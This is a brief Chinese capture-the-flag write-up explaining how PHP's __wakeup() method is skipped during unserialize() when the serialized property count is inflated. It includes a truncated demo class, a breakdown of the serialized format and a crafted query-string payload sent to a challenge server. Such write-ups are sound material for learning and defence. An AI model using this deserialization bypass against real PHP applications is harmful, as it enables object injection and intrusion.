魔术方法 _wakeup()
unserialize() 将已序列化的字符串还原回 PHP 的值,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源
漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行
可以搞一个测试脚本
//定义一个名为xctf的类
public $flag = '111'; //定义一个公有的类属性$flag,值为111
public function __wakeup(){ //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$peak = new xctf(); //使用new运算符来实例化该类(xctf)的对象为peak
echo(serialize($peak)); //输出被序列化的对象(peak)
?>
得到序列化后的是
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
其中,序列化字符串各部分简单释义:
O代表结构类型为类:4表示类名长度:"xctf"是类名:属性(成员)个数1:{属性名类型s:长度4:名称flag;值类型s:长度3:值111}
http://61.147.171.105:53594/?code=O:4:%22xctf%22:1:{s:4:%22flag%22;s:3:%22111%22;}
显示bad request,需要绕过_wake up()函数
输入http://61.147.171.105:53594/?code=O:4:%22xctf%22:2:{s:4:%22flag%22;s:3:%22111%22;}
上一篇:总结低代码海报平台编辑器难点